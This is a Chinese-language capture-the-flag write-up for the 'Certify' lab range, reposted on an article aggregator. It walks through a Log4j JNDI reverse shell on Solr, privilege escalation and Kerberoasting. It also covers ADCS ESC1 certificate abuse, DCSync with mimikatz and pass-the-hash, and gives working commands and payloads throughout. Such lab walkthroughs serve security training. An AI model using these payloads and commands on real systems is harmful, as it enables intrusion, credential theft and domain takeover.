春秋云镜-【仿真场景】Certify writeup

2024-03-11 16:10

本文主要是介绍春秋云镜-【仿真场景】Certify writeup,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

说明

Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

技术

Solr、AD CS、SMB、Kerberos、域渗透

第一个flag

log4j RCE

扫描外网IP

发现solr存在log4j的组件,测试是否存在rce

GET /solr/admin/cores?action=${jndi:ldap://1p9bvr.dnslog.cn} HTTP/1.1
Host: 47.92.113.194:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://47.92.113.194:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close

dnslog回显

JNDI反弹shell,在VPS上开启

# 加载恶意类
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 47.103.xxx.xxx#开启监听
nc -lvvp 5555

payload

${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}

发送请求

GET /solr/admin/cores?action=${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}&wt=json HTTP/1.1
Host: 47.92.113.194:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://47.92.113.194:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close

成功反弹shell

sudo提权

sudo -l
sudo grc --help
sudo grc --pty whoami

查找flag

sudo grc --pty find / -name flag*

输出flag

sudo grc --pty cat /root/flag/flag01.txt

第二个flag

内网渗透

出口机器上代理,并扫描内网,具体就不赘述了(架设http服务,wget 下载npc和fscan)

172.22.9.13:445 open
172.22.9.26:445 open
172.22.9.47:445 open
172.22.9.7:445 open
172.22.9.26:139 open
172.22.9.47:139 open
172.22.9.7:139 open
172.22.9.26:135 open
172.22.9.13:139 open
172.22.9.13:135 open
172.22.9.7:135 open
172.22.9.26:80 open
172.22.9.47:80 open
172.22.9.19:80 open
172.22.9.47:22 open
172.22.9.47:21 open
172.22.9.19:22 open
172.22.9.7:88 open
172.22.9.19:8983 open
[+] NetInfo:
[*]172.22.9.13[->]CA01[->]172.22.9.13
[*] 172.22.9.7     [+]DC XIAORANG\XIAORANG-DC     
[*] 172.22.9.26          XIAORANG\DESKTOP-CBKTVMO   
[+] NetInfo:
[*]172.22.9.26[->]DESKTOP-CBKTVMO[->]172.22.9.26
[+] NetInfo:
[*]172.22.9.7[->]XIAORANG-DC[->]172.22.9.7
[*] 172.22.9.13          XIAORANG\CA01            
[*] WebTitle:http://172.22.9.47        code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] WebTitle:http://172.22.9.19        code:200 len:612    title:Welcome to nginx!
[*] 172.22.9.47          WORKGROUP\FILESERVER        Windows 6.1
[*] 172.22.9.47  (Windows 6.1)
[*] WebTitle:http://172.22.9.19:8983   code:302 len:0      title:None 跳转url: http://172.22.9.19:8983/solr/
[*] WebTitle:http://172.22.9.26        code:200 len:703    title:IIS Windows Server
[*] WebTitle:http://172.22.9.19:8983/solr/ code:200 len:16555  title:Solr Admin

发现以下资产

172.22.9.19 入口IP
172.22.9.7  DC
172.22.9.26 域成员
172.22.9.47 文件服务器
172.22.9.13 CA

根据提示,文件服务器应该存在smb的共享,进一步收集信息

注意:fscan不扫描smb的共享模式,所以可以采用nmap来扫描

sudo grc --pty nmap -sT -A 172.22.9.47

使用 smbclient 连接共享

proxychains smbclient \\\\172.22.9.47\\fileshare
dir
get personnel.db
get secret\flag02.txt

获得falg02,还有一段提示 you have enumerated smb. But do you know what an SPN is?

第三个flag

数据库文件中有几个用户名和密码

rdp破解

proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV -e ns

获得了两个账号,但是无法远程登录

Kerberoast攻击

使用GetUserSPNs.py寻找注册在域用户下的SPN

proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian

hash 离线破解,速度很快,1.txt 是hash值,rockyou.txt 是kali自带的密码本

hashcat64.exe -m 13100 1.txt rockyou.txt

得到zhangxia/MyPass2@@6,使用账号密码远程登录即可

注意,因为是域账号所以用户名为 zhangxia@xiaorang.lab,登录完成后并不能直接访问administrator的目录查找flag,因为不是管理员权限

ADCS ESC1

使用Certify.exe定位漏洞

Certify.exe find /vulnerable

ESC1利用前提条件:

msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT

表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
PkiExtendedKeyUsage: Client Authentication

表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证

Enrollment Rights: NT Authority\Authenticated Users

表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书

为域管申请证书

Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator

转换格式

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

请求TGT、PTT

因为导出证书转换的时候并没有输入密码,所以这里密码留空就行

Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt

获取到域管的票据后导出哈希

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit

哈希传递

PTH 172.22.9.26

proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

第四个flag

PTH DC

proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7
原文链接: https://zhuanlan.zhihu.com/p/581487685

这篇关于春秋云镜-【仿真场景】Certify writeup的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/798328

相关文章

JavaScript中的reduce方法执行过程、使用场景及进阶用法

《JavaScript中的reduce方法执行过程、使用场景及进阶用法》:本文主要介绍JavaScript中的reduce方法执行过程、使用场景及进阶用法的相关资料,reduce是JavaScri... 目录1. 什么是reduce2. reduce语法2.1 语法2.2 参数说明3. reduce执行过程

JavaScript中的isTrusted属性及其应用场景详解

《JavaScript中的isTrusted属性及其应用场景详解》在现代Web开发中,JavaScript是构建交互式应用的核心语言,随着前端技术的不断发展,开发者需要处理越来越多的复杂场景,例如事件... 目录引言一、问题背景二、isTrusted 属性的来源与作用1. isTrusted 的定义2. 为

Python调用另一个py文件并传递参数常见的方法及其应用场景

《Python调用另一个py文件并传递参数常见的方法及其应用场景》:本文主要介绍在Python中调用另一个py文件并传递参数的几种常见方法,包括使用import语句、exec函数、subproce... 目录前言1. 使用import语句1.1 基本用法1.2 导入特定函数1.3 处理文件路径2. 使用ex

Linux alias的三种使用场景方式

《Linuxalias的三种使用场景方式》文章介绍了Linux中`alias`命令的三种使用场景:临时别名、用户级别别名和系统级别别名,临时别名仅在当前终端有效,用户级别别名在当前用户下所有终端有效... 目录linux alias三种使用场景一次性适用于当前用户全局生效,所有用户都可调用删除总结Linux

Mysql虚拟列的使用场景

《Mysql虚拟列的使用场景》MySQL虚拟列是一种在查询时动态生成的特殊列,它不占用存储空间,可以提高查询效率和数据处理便利性,本文给大家介绍Mysql虚拟列的相关知识,感兴趣的朋友一起看看吧... 目录1. 介绍mysql虚拟列1.1 定义和作用1.2 虚拟列与普通列的区别2. MySQL虚拟列的类型2

在MyBatis的XML映射文件中<trim>元素所有场景下的完整使用示例代码

《在MyBatis的XML映射文件中<trim>元素所有场景下的完整使用示例代码》在MyBatis的XML映射文件中,trim元素用于动态添加SQL语句的一部分,处理前缀、后缀及多余的逗号或连接符,示... 在MyBATis的XML映射文件中,<trim>元素用于动态地添加SQL语句的一部分,例如SET或W

VUE动态绑定class类的三种常用方式及适用场景详解

《VUE动态绑定class类的三种常用方式及适用场景详解》文章介绍了在实际开发中动态绑定class的三种常见情况及其解决方案,包括根据不同的返回值渲染不同的class样式、给模块添加基础样式以及根据设... 目录前言1.动态选择class样式(对象添加:情景一)2.动态添加一个class样式(字符串添加:情

java中VO PO DTO POJO BO DO对象的应用场景及使用方式

《java中VOPODTOPOJOBODO对象的应用场景及使用方式》文章介绍了Java开发中常用的几种对象类型及其应用场景,包括VO、PO、DTO、POJO、BO和DO等,并通过示例说明了它... 目录Java中VO PO DTO POJO BO DO对象的应用VO (View Object) - 视图对象

Python中异常类型ValueError使用方法与场景

《Python中异常类型ValueError使用方法与场景》:本文主要介绍Python中的ValueError异常类型,它在处理不合适的值时抛出,并提供如何有效使用ValueError的建议,文中... 目录前言什么是 ValueError?什么时候会用到 ValueError?场景 1: 转换数据类型场景

python中的与时间相关的模块应用场景分析

《python中的与时间相关的模块应用场景分析》本文介绍了Python中与时间相关的几个重要模块:`time`、`datetime`、`calendar`、`timeit`、`pytz`和`dateu... 目录1. time 模块2. datetime 模块3. calendar 模块4. timeit